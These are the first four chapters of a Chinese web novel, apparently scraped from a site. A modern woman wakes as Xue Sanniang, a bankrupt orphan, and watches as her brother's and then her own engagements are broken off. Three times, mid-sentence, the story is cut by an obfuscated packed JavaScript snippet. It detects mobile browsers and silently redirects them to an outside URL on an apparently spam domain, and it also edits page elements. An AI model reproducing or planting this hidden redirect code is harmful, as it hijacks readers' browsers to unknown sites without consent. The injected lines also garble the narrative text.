《薛三娘发家记》 1. 家破人亡的兄妹俩 “等会儿到了薛家，多余的话可不许你说！咱家把地头的棚子借给他们兄妹住着，已经算是尽心尽力了！别忘了，咱家还借了他们二十两银子哪！” 狭窄的小道上，一个身着细棉布夹袄的中年妇人正一边走着，一边对身旁人高马大的小伙子说话。 “可是往后眼看着天冷了，住那窝棚如何使得？薛三娘又是个女……” 小伙子虽是短打扮，未着长衫，但衣料也是细棉布，看得出，在乡下人中，他家算得上家底殷实的。不过他此时眉头紧皱，俊朗的脸上毫无笑意，显然这个话题并不让人愉快。 妇人立刻拍了他一把，原本还算和善的神情带上了一丝厉色：“快闭嘴吧你！把你那点子小心思给我烂在肚子里！薛家那丫头再好也不关你的事！” “娘……” “敬修啊，为娘早就晓得你的心思，只是这薛家跟咱陈家是做不成亲的。”妇人看看前路，压低了声音说，“早前他们家大业大，就算你爹是里正，咱也攀不上，果然人家就许给了镇上的秀才公吧？” “娘，我都听说了，薛家出了事，白秀才他娘都去找媒人商议退亲了。”陈敬修的眼中迸发出灼灼光彩。 陈娘子作势要拧他的耳朵：“这样的事也是你能说的？亲没退，她就还是人家白家的人，要是退了，她家家破人亡的，还有一屁股债，又被退了亲，哪能进咱家的门？就算娘同意，你爹也不能同意！他好歹也是里正，得要脸面啊！” 陈敬修沮丧极了：“娘，那也不是她的错啊！” “我还不知道不是她的错？单说人品模样，那丫头当真好得很，可惜命不好。”陈娘子叹口气，“今儿他们爹娘出殡，咱们多少帮衬一把也就是了。等到下晌，人入了土，他们兄妹俩就得腾宅子。你活泛些，帮着点儿薛二郎，却不许往三娘身边凑！回头娘就去找媒婆给你踅摸个亲事，往后别瞎琢磨了。” “娘，大哥还没成亲呢！”陈敬修低了头，声音也低了下来，“我……我还不想娶媳妇。” 陈娘子还想再说，可是脚下一拐弯，到了宽敞的巷子口，气派的青砖大宅院就在眼前，她便住了嘴，长长的叹了一口气。 高高的院墙把薛家大宅和外面隔成了两个世界。 宽阔的前院里停着两副十分寻常的薄皮棺材，棺材前跪着一男一女，均是披麻戴孝，神情哀痛。若仔细看，还能发现，男子的身形歪斜，一条腿有些不方便。 女子皮肤白皙，长着一副很讨喜的娃娃脸，有一双大大的眼睛，不过此时里面却盛满郁闷。 薛慧来到这个家六七天了，把原身的记忆和周边的环境融合了个大概，只觉得虽然她从前没爸没妈没前途的社畜生活挺惨，可眼下这家破人亡的日子也没好到哪里去。 薛家本是当地的富户，在乡下有三进大宅、百亩良田，在镇上还开着粮铺，也有一套小宅子，家底丰厚。 薛老爷夫妻和睦，在第一个孩子夭折之后，对剩下的一子一女更是格外疼爱。儿子薛克礼早早就掌管了粮铺生意，又订下了镇上钟乡老家的小女儿。女儿薛三娘许给了镇上的秀才白亦宗，来年进门就是秀才娘子，日后说不定还能当个举人娘子，甚至官太太。 可是这些都是薛慧穿越前的事儿。 薛克礼的婚事初步定在腊月里，薛氏父子中秋之后去钟家正式下聘，商议婚期，可就在回来的路上被山匪绑了票。山匪一开口就要五千两赎金，少一文就撕票。 衙门里说时间紧张，调兵剿匪得等上头的公文，为了薛家父子的性命，还是先筹了银子把人赎回来为是。 薛娘子一个久居内宅的乡下妇人，丈夫儿子生死未卜，也没了主意，只好卖房卖地卖铺子，连棺材本和母女两个的首饰衣裳也典当了出去。 薛三娘只是个十四岁的女孩儿，自小被保护得很好，哪里经历过这些，自然害怕极了，可又担心父亲哥哥，只能壮着胆子跟母亲到处借钱，不过几天便尝尽了人情冷暖。 这便罢了，她们倾家荡产，五千两银子的赎金交出去，却换回了一个伤重不治的薛老爷和被打断了一条腿的薛二郎。薛娘子几日没合眼，惊怒悲伤之下，一口气没上来，也跟着丈夫去了。 薛三娘遭此变故，再加上之前见到的事情，心绪郁结，给父母守灵期间还得照顾受伤的哥哥，几重压力之下病倒了，没熬过爹娘的头七，就换成了悲催的薛慧。 尽管带着原身的记忆，薛慧对薛家夫妻的感情也远远比不上原主，倒不至于被悲伤压垮，可是依着眼下的境况，以后的日子要怎么过，还是很伤脑筋的。 看看已经形销骨立的薛二郎，她哑着嗓子开口：“二哥，时辰差不多了，咱们准备送爹娘上山吧。” 薛克礼的身子晃了晃，没有说话。 薛慧叹口气，自己站起来往大门口走。 这薛家人丁单薄，四代单传，他们明明也是大户，可在村里只有几户出了五服的族人，就连出殡这样的大事，也只能找原来家里的长工和村里的其他人家帮忙。 这会儿差不多到约定的时间了。 她打开大门，果然门外树下站了几个腰上绑着白布条的青壮年男子。听见门响，他们一起转过头来。 若是从前的薛三娘，被一群男人这么看着，必然是要害羞得捂脸，可如今里子换成了薛慧，她自然十分大方。 刚屈了一下膝，她就听到有人叫她：“三娘，你哥呢？” 这是里正的娘子陈张氏，也有人叫她陈娘子，薛慧认得，连忙回答：“陈婶子好，我哥还在院里跪着呢。” 陈张氏就叹口气，挽着她的手往院里走，一边走一边招呼那些后生跟着进来：“晓得你们不方便，我在这，好歹也算个长辈，你们赶紧去吧，别误了时辰。” 她又跟薛慧说：“你陈大叔这会子出去了，村口那伙耍钱的又来了，他过去瞧瞧，若无事就过来。” “我家的事，给您添麻烦了。”薛慧真诚道。 陈张氏拍拍她的手：“说这些就外道了，摊上这么大的事儿，你们两个孩子不容易，能帮衬一把是一把，你叔是里正啊，哪能不伸手帮忙？来，把你哥扶起来，还得上山呢。” 薛克礼十分郑重的大礼谢过她，便沉默着扶灵出门了。 薛慧是未出嫁的女儿，也能去送殡，便跟着抬棺的队伍出门，留下陈张氏去厨房准备给帮忙这些人的饭食。 因为时间仓促，又没有银子，这场丧事便办得颇为简陋，把两副棺材埋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15521464|170737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进土里，又插上了木牌权当墓碑，他们便回去了。 陈张氏和薛慧一起把几盆素菜和一大筐馒头端到院里，让帮忙的人吃饭。 薛慧折回厨房，提了一袋子腊肉给陈张氏：“陈婶子，方才您受累了，如今我家也没什么好东西，这些腊肉您拿回去，给陈大叔炒个下酒菜吧。” “你这孩子，客气个啥？菘菜豆腐那些你都切好了，我刚才就烧火煮了煮，哪里就受累了？往后你们日子不好过，自家留着吧，给我干什么？”陈张氏不接。 薛慧就把东西塞到她手里：“我们要守孝啊，这大肉肯定是吃不得的，您就拿着吧！过会儿收宅子的就要来了，到时候且乱呢。” “也罢，那我就生受了。”陈张氏把在厨房外头探头探脑的儿子叫过来，吩咐他把东西送回家再回来。 薛慧便低着头，一言不发。 陈敬修瞟了她好几眼，她都纹丝不动，心里暗自嘀咕，这孩子不会是喜欢原主吧？ 等陈敬修有些失望的跑走，陈张氏才继续跟薛慧说话，只是语气更亲切了一些：“我瞧着你周全了不少，也是能扛事的样子了。往后这日子怎么过，你们兄妹俩可有个什么章程没有？” 方才薛慧还在纠结，会不会对里正家的少爷太不礼貌了，可一见陈张氏的神色，她便懂了，人家可不愿意自己跟她儿子有什么交情，不搭理就对了！ 她摇头道：“不瞒您说，还没商议呢。我哥身上的伤还不好，又难受得厉害，且没心思，等搬了出去，他也该愿意打算一二了。只我想着，如今我们没有地了，若是赁地种，光我们俩人能种多少？一辈子也还不完这债。还是得做个买卖、寻个营生才是。” 薛慧本不愿意在生意八字没一撇的时候就先说出去，可眼前这位是里正娘子，自己以后要做什么，肯定绕不过人家去，倒不如多说一些，显得信任他们。 陈张氏点点头：“你想得很是。旁人兴许不成，你家倒还真行，你哥十岁上头就在你家铺子里了，做买卖自然不愁。” 她们正说着话，门外就传来驴车的声音，中人领着买家来收宅子了。 待看清买家的脸，薛慧惊讶万分，立刻扭头去看薛克礼：“哥……” 薛克礼显然也十分意外，紧接着就是愤怒。他本就断着一条腿，这会儿竟是完全站不住了，幸好陈敬修回来了，眼疾手快的扶住了他。 陈张氏看着这般光景便知道有事，小声问：“咋的了？” 薛慧倒不是很愤怒，只是心头掠过了阴谋论猜测，脸色也不好看：“我们之前只见过中人，真没想到，这买家竟是我哥的岳父钟员外。” “啊？这……”陈张氏惊讶得合不拢嘴，却没敢乱说话。 “二郎啊，没想到是我吧？”钟员外微笑着，看上去竟有些慈眉善目的，可是当下，谁也不可能相信他是个慈善人。 “无论是谁，银子我家收了，这宅子我们自当交出来。”薛克礼脸颊的肌肉都在颤抖，但还是维持住了理智。 钟员外哈哈一笑，摆摆手道：“那是那是，我自然是信得过你的。今天我来，除了这宅子的事儿，还有个事情要跟你商议商议。哦对了，我已经让人去请你们陈里正了，想来马上就到了。” 2. 被退亲的哥哥 薛慧心中有了一个不好的预感。 她着急的盯着薛克礼。 虽然他是兄长，可在薛慧眼里不过是个不到十七岁的少年，这些日子的经历没有把他击垮已经很不容易了，若是再来上这么一出，也不知道他会不会崩溃。 来帮忙的年轻人还没走，这会儿也都发觉气氛有异了，只觉得走也不是留也不是，尴尬非常。陈张氏便对他们道：“行了，你们这些后生都先家去吧，也好让他们安生商议事情。” 钟员外浑不在意的瞥了一眼陈张氏，并不打算搭理这乡下妇人。 陈敬修有些犹豫，站在薛克礼身侧，眼睛却看向了薛慧这边。 薛慧顾不得他，还在担忧的盯着薛克礼。 薛克礼的状况确实不好。他原本瘦削苍白的脸颊处浮起红晕，眼眶鼻头也都有些发红，宽大的白麻布孝服遮住了他的手，看不出动作，可袖口处的颤动还是落入了薛慧眼中。 陈张氏见村里帮忙的年轻人都走了，又叫儿子：“敬修你去村口那儿瞧瞧，看看你爹走到哪了，贵客到了村里，还专门使了人去请他，他也不知道着紧些。” 陈敬修半搀半搂的把薛克礼带到方才大伙吃饭的桌边，抽了个小凳子让他坐下，这才应了一声出去。 “原来大嫂是里正太太，失礼了。今日之事有贤伉俪坐镇，那必是再稳妥不过的。”钟员外听出了陈张氏的身份，立刻换了神色，十分客气的拱了拱手，可是薛慧听着，只觉得不伦不类，毫无诚意。 身为里正太太，陈张氏毕竟与寻常村妇不同，并不怯场，只是也不热络，弯了弯膝盖，垂着眼皮说：“员外老爷别客气，我一个妇道人家，也不懂得什么，就是看着这俩孩子家破人亡的，心里不忍得很，看不得再有人欺负他们。” 尽管薛慧此时为薛克礼担着心，她也还是有些惊讶的看了陈张氏一眼。 据她所知，这位里正太太素日说话做事虽然也算得上公道明事理，但是着实不是个热心肠，主动仗义执言的事儿是绝不会做的，这番话却是实实在在的在替自家兄妹撑腰呢。 不对，与其说她是偏向自家，不如说她是厌恶这钟员外。看来，在这个时代，落井下石、背信弃义是绝对为人不耻的。薛慧稍微放心了一些，若是大环境如此，大部分人都有底线，对她来说是件好事。 当然，钟员外就属于少部分人。而他也确实遭到了陈里正的鄙夷。 作为本村最有权力的人，陈里正也算是见过些世面的，表面功夫比妻子又强了些。他赶到之后，听了钟员外退亲的要求，只是拈了拈胡子，脸上的几分微笑一点儿也没变：“这儿女亲事嘛，虽说是两族两姓联姻，不过终究也是你们两家的家事，我便是忝为长辈，却也不好替薛家做主。二郎啊，如今你就是家主了，这事儿你怎么说？” 薛慧实在不放心，想走到薛克礼身边。也许她帮不上忙，可她想和这个少年站在一起。 她刚动了一下就被陈张氏拉住了。 她扭过脸，看到陈张氏严肃的对她轻轻摇头。 好吧，这不是她乱动的时候，这个场合也没有她说话的地方。 薛克礼的状态很糟糕，但是并没有失态。他沉默了几个呼吸的时间，沙哑着嗓子，对陈里正道：“陈叔，劳烦您了。我如今父母新丧，要守孝三年，很不该耽误了钟小姐，这亲事便退了吧。” 薛慧抿着唇，对这位兄长投去了赞赏的目光。 她是旁观者，很容易就能看出来，钟家人的品行显然有问题——就算钟员外不代表钟小姐，有这样的岳父也不是什么福分，这门亲事断了更好，可是对这个时代的薛克礼来说，这般被当面退亲，是极大的羞辱，而且，他毕竟和钟家小姐见过面，也许他还很喜欢那个姑娘，说断就断不是那么容易的。 陈里正显然也是这样想的。他走到薛克礼身边，伸手拍了拍少年的肩膀，沉声道：“好孩子，你既表态了，叔就给你做主。” 薛慧听见身边的陈张氏重重的叹了口气。 “钟员外，你既然看得起我，让我来当这个见证，我也就不客气了。”陈里正扭头跟钟员外说道，“退亲一应的文书咱们得写明白喽，媒人我瞧你也请来了，咱们该画押的画押，该用印的用印，这一次就弄利落。再一个，我薛家侄子是已经下了聘的，如今退亲，这两年四时八节的礼就算了，可聘礼，你家得还回来，没得你家姑娘日后出阁还带着薛家的聘礼当嫁妆的。你说，是不是这么个道理？” 就陈里正的身份来说，这话说得很有些刻薄了。钟员外嘴边那浮夸的笑容差点儿没绷住，干咳了两声才说：“那……那自然是那么个道理，不过……前几日，薛太太来家里借银子，我已经把聘金给了她，如今便两厢抵消了吧，如何？” 这事儿薛慧倒是知道，她和母亲一起去借银子，钟太太很痛快的借了一百两银子给她们，当时薛娘子还说以后让她对嫂子好些呢，原来在这里等着。 即便不去想心中那些阴暗的猜测，只就这件事情本身，她也非常不满，再也顾不得规矩，插言道：“陈叔陈婶，这事儿我哥不晓得，我却是知道的。当初去给嫂嫂下聘，我娘给了一百零一两银子，取‘百里挑一’的意思，另外还有绸缎、首饰、药材、山珍什么的，那些也花了三四十两呢，都是有单子的。我们家里出了事，我娘领我去钟家筹银子，钟太太只给了一百两。” 她没有做任何评价，只说了事实，钟员外反倒不好反驳，一时便没有接话。 陈里正便问薛克礼：“二郎啊，你怎么说？” “这些事是我娘操持的，我只知大概，却不知道详细的数目，但我妹子最是实诚，绝不会撒谎。”薛克礼似乎已经完全消化了被退亲的屈辱和愤怒，冷静的计算起来，“这样算来，还有四十两左右的差额。若是从前，不管怎么说，退亲总是于钟小姐名声有损，我也不该计较，可是如今我兄妹没有营生、债台高筑，这些银子我却不能不要。” 陈里正点点头：“你说得很是，谁家的银子都不是大风刮来的。钟员外，薛侄女说了，都有单子，这个帐你还是得认。东西呢要是你家姑娘吃了穿了，你就把银子折算了还来，了了这个帐才好，以后你家姑娘再许人家也好听些不是？” “里正大人，这话不是这么算的啊！议了这么久的亲事退了，钟小姐名声受损，也得有些个补偿才是啊！”一直在一旁陪笑的媒婆接收到了钟员外的示意，连忙插话。 她是个妇人，陈里正便看向自己的妻子，让她说话。 陈张氏瞪着媒婆道：“薛二郎都说了，因为要守孝不好耽误了钟家小姐才退亲的，这有什么？要是真觉得这样便损了名声，那就别退亲了，等上三年嫁过来便是了！” “那怎么使得？”媒婆尖声反驳，“如今这薛家还有什么……” 钟员外大声的咳嗽了一声，哈哈一笑：“里正说得有理，有理。往后我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15521465|170737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们搬来住着，都是乡亲，怎么也得给里正这个面子。这么着吧，今日本就是来收宅子的，我也没带多少银子，身上只有这三十两，咱们就这么着，如何？” “钟员外要搬来？”陈里正很意外，不过还是先解决眼前的事情，“二郎，你看呢？” 薛克礼冷淡的瞥了钟员外一眼，不知道在想什么，停顿了一会儿，才说：“陈叔，就这样吧，多谢您替我出头做主。” 薛慧没再多说什么，等着双方把银钱交割明白，又互相在退婚文书上签字画押，就连媒婆和陈里正也按了名章，薛克礼和钟家就算是彻底没有任何关系了。 接下来就是交宅子的事儿了。 卖宅子的时候就说了，家里的家具家什一并作价，薛慧兄妹都不能带走，可是衣裳首饰之类的私人贵重物品早就已经典卖了，如今他们能拿走的也不过是几套旧衣裳被褥、锅碗瓢盆、几袋子粮食和院子里粗糙的方桌长凳。这些物件不值钱，钟员外也没拦着，瞧着他们把东西搬上了陈敬修拉来的板车，便把大门一关，挂上了他自家带来的黄铜大锁。 薛克礼由薛慧扶着，弯腰跟陈里正夫妻行礼道谢。 陈里正便叫儿子把他扶好，送到板车上：“不必多礼。不管怎么说，事情算是都了了，往后跟你妹子好生合计着营生，总有熬过去的时候。事已至此，多想也没用，你这腿伤还得好生将养，可别真落下个残废，你这一辈子还长着呢！” 钟员外皮笑肉不笑的等着他们说完话，邀请陈里正去镇上喝酒，被拒绝了也不尴尬：“过几日有好日子，我就搬过来，到时候请您来家里吃酒，您可莫要再推辞啊！” 陈里正点头：“那是自然。” 薛克礼坐好了，薛慧便回头跟陈张氏告辞，跟在板车旁边走着。 陈敬修和同村的另一个叫刘义的年轻人一起来送他们。刘义爹娘早亡，自小跟着大伯过日子，伯娘刻薄，他打七八岁就到处给人帮工换口吃的，薛老爷看他可怜，难得的是知道好歹，便雇了他给薛克礼当伙计。虽然没有卖身，可他向来对薛克礼非常忠心，薛家出事之后，他也没有马上另寻营生，而是一直照顾着断腿的薛克礼。 “你今日去哪了？这么多事情，倒是不见你。”陈敬修看薛家兄妹都沉默不语，不知道怎么开解他们，便拉着刘义说话，想要活跃一下气氛。 不同于陈敬修的浓眉大眼，刘义的相貌很寻常，身量也不高，属于放在人堆里就找不到的路人类型，但他一开口，却比陈敬修稳重老成：“这几日事情多，二哥的身子又不好，也没顾得收拾你家那棚子，今日我便赶早过去收拾了一下，好歹隔出两间来住人。” “对了，你怎么打算，还跟二郎一起吗？”陈敬修又问，“如今这境况，你大伯怎么说？” 刘义拉着车，也不回头：“只要二哥不赶我，我就跟着二哥。我也是大人了，我大伯不管我。” “我看他是巴不得你不回去吧，不然万一你要分你爷爷留下的地怎么办。”陈敬修撇撇嘴。 刘义不接这话，只问薛克礼：“二哥，我看你脸色不好，要不等会儿到了你再躺躺，我去请李郎中来给你看看？” 薛克礼的脸色有些木然，思路却还挺清楚：“不用了，我没事。宅子的买家是钟家，他们收了宅子，也跟我退了亲事。对了，还还了三十两聘金回来，你等会儿陪我去一趟镇上，把熊九那儿欠的银子给还了，那地方不能让三娘再去。” 3. 三娘倒是和从前大不一样了 薛慧听见哥哥提到自己，并没忙着逞强。 熊九是镇上的地头蛇，听说家里跟衙门的唐县丞有亲戚，反正在这一带黑白通吃，明面上开着赌坊，实际上也做着放印子钱的营生。 家里出事的时候，薛太太实在凑不够钱，还去找他借过二十两。当时的薛三娘跟在薛太太身后，着实被那里的一群打手吓得不轻。现在的薛慧倒是不怕，可是也并不想踏足那里，这也是为了保护自己，毕竟这个时代对女子要求严苛，一个“名声不好”就能毁了她。 刘义侧了侧头，又转回脸，慢慢的说：“我竟没想到，这半日出了这么多事。二哥，你就歇着吧，等会儿我去镇上便好。熊九的银子可不好借，早还一刻是一刻。” 对此，薛慧也很赞成，这利滚利的债务绝对背不得，那都是吃人不吐骨头的。不过还了这个钱，只怕也剩不下几两银子了，她的挣钱大计还是得抓紧。 陈里正家的窝棚搭在地头，从黄泥土路上下来就是，非常好找，当然也非常简陋。看得出来，刘义这大半天干得很尽力，不光打扫了窝棚里面，还用旧木板做了隔断和房门，甚至在窝棚后头搭了个简易的茅厕。 薛克礼抓着刘义的胳膊从板车上下来，四下打量了一番，也说：“多谢你，受累了。” 刘义摇头：“这不算什么。不过，二哥，这终究不是个长远办法，还是得想个营生才是。” 薛慧已经在动手卸货了。住窝棚的生活肯定好不到哪里去，她早就有心理准备，现在看了倒也没觉得想哭什么的，只是第一时间进入了奋斗状态。 陈敬修自然是连忙过来帮忙：“三……三娘，你别动手了，沉着呢，我帮你搬。” 薛克礼扭头看了一眼，便皱了眉。 刘义也听见了。他扶着薛克礼坐在凳子上，便立刻小跑着过去搬东西。 薛慧看他过来，悄悄松了口气。陈敬修的心思实在是太明显了，她搭话不搭话都不合适。 她抱着一床褥子跟刘义说：“刘四哥，我先去给我哥把床铺上，你等会儿扶我哥上床躺躺哈。”刘义在族里排行第四，之前的薛三娘就是这么称呼他的。 “你去吧，这些我来搬。”刘义自然的答应着。 “敬修，今日劳烦你了，我家这般境况，也不怕你笑话，改日我一定请你吃酒。”薛克礼苍白着脸对陈敬修说。 就算陈敬修的性情有些粗线条，对薛三娘又有些小心思，他也看得出来，薛家兄妹这会儿是真的没心思招待他，他只好推着板车告辞：“不用！我先走了，等你腿好了，我打酒与你庆贺！” 他走了，薛慧一下子自在起来。 “还是刘四哥周到！”薛慧把自己和薛克礼的被褥铺在树枝稻草临时堆的“床”上，又归置好衣物，便来收拾厨房里的东西，却发现刘义已经把这些家什物事搬到了窝棚里靠近门口的地方，甚至已经用干树枝点燃了小炉子，烧上了热水。 水烧开，她热了热之前剩下的白菜炖豆腐，端到小方桌上，招呼薛克礼和刘义吃饭。 “咱们家就咱们几个人，也别分什么桌了，就一起吃吧。”薛克礼坐下说。 薛慧愣了愣，才反应过来，他的意思是不让自己因为男女有别就单独躲起来吃饭，好吧，她压根就没想起这一茬来。 刘义也不客气，抓了个馒头就吃：“行，我赶紧吃了就去镇上，二哥你等会儿把银子给我。” 薛慧吃得也很香。她不挑食，又加上今天忙碌了大半天，估计这会儿都已经下午三四点了，她早就饿坏了。 她吃了大半饱，抬头一看，薛克礼正拿着筷子发呆，便道：“二哥，你就是没胃口，多少也得吃些，不然腿伤怎么能好呢？再说了，咱家现在不比从前，这饭食也不能浪费了。” 不等薛克礼说话，刘义就有些惊讶的看着她说：“三娘倒是和从前大不一样了。” 薛慧噎了一下，正不知道怎么把自己的变化圆过去，薛克礼苦笑着说：“家里出了这么多变故，三娘一下子长大了，反倒是我这个当哥哥的撑不起事儿。” 薛慧见他们都没怀疑她，便放下心来，认真道：“二哥，你已经做得极好了，今天那种情形，你一言一行都无可挑剔，我心里极是佩服你的。就像陈叔说的，日子还得过，咱们得往后看，多思无用。这两天我想了挺多的，等刘四哥从镇上回来，我想跟你们说说我的想法。但是不管怎么说，你的身子要紧啊。” 薛克礼点了点头，大力的咬了一口馒头。 刘义又看了薛慧一眼。很快，他就吃完了饭，接过薛克礼给的银锭子出门去了镇上。 薛慧扶着薛克礼躺下休息，自己洗刷了碗筷，便蹲在门口检查他们带过来的佐料和食材。薛家是富户，厨房里的东西不少，贵重的山珍海味也有些，只是都卖了，不过留下的油盐酱醋、花椒大料这些也还挺充足的，另外就是粮食，大米小米、白面杂粮也还有几百斤的样子，他们兄妹加上刘义，三个人也能吃两个月。 她想过了，自己兄妹俩都没有特别的手艺，比如猎户裁缝木匠之类的，但是薛克礼有好几年的经商经验，她的厨艺也还可以，现在能上手并且成本低的只有小餐饮生意能做了。反正他们一个有腿伤，一个体力有限，根本不可能靠种地过活。而且，薛克礼管了好些年铺子，对做生意一定不会排斥，看过今天他的表现，薛慧确定，他尽管还有些青涩，但并不迂腐，也颇有几分算计和城府，能成事。 一边盘算着，她一边发了一盆面，揉了馒头蒸上。如今已经是白露时分，天气不热了，多做些干粮放着，做饭也省事些。尽管债台高筑，她也不愿意把这些细粮换成更便宜量大的粗粮，他们几个都还是长身体的年纪，而且薛克礼身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15521466|170737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上还有伤呢。 想到这伤，她又叹口气，也不知道刘义还完印子钱之后还能拿回来几两，够不够送薛克礼去镇上找大夫复诊一下，若是骨头没长好，真的成了残疾，那就太让人痛心了。就算她现在对薛克礼没有太深的兄妹感情，可是薛克礼是个懂事的孩子，非常不容易，而且这几日人前人后的也挺维护自己这个妹妹，她自然希望他能好起来。 她的馒头刚蒸好，刘义就大步跑了回来。 “刘四哥，你回来了？怎么样，剩了多……” 她的话还没说完，刘义就一边抹着汗一边急声打断了她：“三娘，二哥睡着呢？白家人来了，怕是要……要……” “白家人要退亲？”薛慧看着他惊怒着急的样子，一想就明白了，“白亦宗来了？他娘也来了？” “你说什么？白家人来退亲？”薛克礼的声音不高，却像淬了寒冰。 “我在镇上的时候听见几个闲汉议论钟家的事儿，结果就听他们说白寡妇也找了媒婆，已经去雇牛车了，竟是一日都等不得！我一路跑回来，就是想着赶紧跟你们说一声，你们也好有个章程。”刘义飞快的说。 不同于他们两个人的愤怒，薛慧倒是挺高兴的。她摸了摸头发，说：“他们家可没有下聘，不过是过了一次小定，白寡妇就给了我这么一根银钗，还给他们就是了，咱家不用出银子，没事儿。” “三娘，你……你莫要太难过了。”刘义深深的看着她。 薛慧眨眨眼睛，又回头去看坐起来的薛克礼：“刘四哥，二哥，你们别担心我，我真的不难过，不过是一点子虚名罢了，咱家如今这般，本来也讲究不得那些了。更何况，那白家人，哼，龌龊得很，退了亲更好呢！而且，我有法子，他们不敢拿捏我的！” 薛克礼便叫刘义：“老四，扶我一把，咱们就在外头候着！我倒要看看，他白大秀才用什么理由来退这个亲！三娘说得对，我家如今已经是这般境地了，不过是债多了不愁而已！若是日后他们挫磨我的妹子，还不如现在就把亲事退了干净！” 要不是时机场合不对，薛慧几乎要笑出来。连番变故之下，少年老成的薛克礼这会儿竟然有些“不过了毁灭吧”的疯感。 这样也挺好的，薛慧想，要是薛克礼真的冷静，按照这个时代的观念，他们家得抵死不退这亲事才是，那样的话，她还要多费些脑筋才能摆脱这个婚约。 白家人来得也挺快，也请来了陈里正，毕竟白亦宗虽然年轻，却是个正儿八经的秀才老爷，地位比钟员外这样的财主要高，陈里正脸色不大好看，却也客客气气的。 薛克礼靠着刘义，给陈里正作了个揖，道：“陈叔，我家的事儿，又劳烦您了。” 陈里正叹口气，摆摆手：“咳，都是应该的，只是苦了你们两个孩子。那个，白秀才，你们有什么话就说吧。” 4. 退婚，纳妾 这是薛慧第一次见到白亦宗。当然，从前的薛三娘是见过他的，对他的印象也还不错。 这人的皮相确实还行，身量很高，肤色白皙，五官虽然有些单薄，但是称得上秀气，更重要的是，他身上有一种斯文败类，哦，不，是腹有诗书的文人气质，和寻常的乡下青年完全不同。 但是，薛慧可是见过娱乐圈各种风格的帅哥型男的人，自然不会被他迷住，而且就她的记忆来看，薛三娘对白亦宗也不见得有多少感情，不过是爹娘给定下了亲事，她便把这人当作了未来夫君罢了。 这个事实让薛慧非常庆幸。若是前身对白亦宗痴心一片，现在她态度大转弯就有些不好解释了。 窝棚简陋，薛慧就是想避都避不开，更别说她压根就不想避开了，所以她直愣愣的站在薛克礼的身侧，面无表情的瞅着白家母子。 白亦宗看向薛克礼的时候，他的视线也落在了薛慧脸上。这一看之下，他原本严肃甚至有些嫌弃的神色就变了。 薛克礼还靠着刘义，没有坐下，在白亦宗看过来的同时就察觉了他的变化，顿时冷声道：“白秀才，你们母子俩这么大张旗鼓的不请自来，怎么来了又不说话了，是来消遣咱们的吗？”一边说着，他一边侧了侧身，挡住了白亦宗的目光。 “呃，薛兄，你莫要动怒，我和我娘绝没有消遣之意，实在是有要事相商啊。”白亦宗居然往旁边跨了半步，继续打量薛慧。 他身后的白寡妇就不客气了，扭着瘦伶伶的身子在门口做作的走了一圈，尖着声音嘲讽道：“哎哟，我说薛家老二，如今你可不是大少爷了，你觉得你有那个面子让咱们消遣吗？哦，没准儿你那个坏了名声的妹子还能让人说道几句！” 薛克礼一下子绷紧了身子，怒喝：“你这老妇血口喷人！毁我妹妹名声，当我死了吗？” 刘义也怒目相向：“你这老虔婆，满嘴里喷粪！” 陈里正沉下脸，并不跟她搭话，而是问白亦宗：“白秀才，你们到底意欲何为？叫我来做什么？来听你们编排我村里的姑娘吗？虽说你有功名，咱们都是老百姓，可也不能这般毁人名节吧？” 白亦宗干咳一声，略带几分尴尬的说：“您莫要误会，我娘就是心直口快的性子，并没有恶意。此番上门，是要商议一下我跟薛三妹妹的婚事……” “儿啊，你就是太厚道了！这么说可小心让那破落户赖上！”白寡妇立刻插话，“薛家这丫头坏了名声，肯定是配不上我儿子了，我们家厚道，之前来往走的礼我们不要了，今儿个就把这亲退了！” 薛慧向来对别人的目光很敏感，所以才能第一时间发现陈敬修对自己的心思，这会儿她自然也察觉到了白亦宗的打量，不由得心中唾弃，可是自己这边儿的几个人都在关注“名声”的问题，在她看来有点儿进不了正题。 她不想在这些破事儿上浪费时间，反正今天是铁定要结仇的，无所谓形象名声，便干脆开口：“你们一口一个‘坏了名声’，我倒是要问问，我老老实实的跟爹娘哥哥待在一起，从未有过半分不规矩，这名声是在哪里坏的？你们不过是看着我家败了，嫌弃我，觉得我配不上你家的金凤凰白秀才，便想踹了我！你们实话说了，我们薛家也不是死缠烂打的，可你们偏偏这般污蔑我，倒把自家摘得干净，既要又要的，都是圣贤书里头教的吗？” “你这贱丫头！瞧瞧这牙尖嘴利的……” 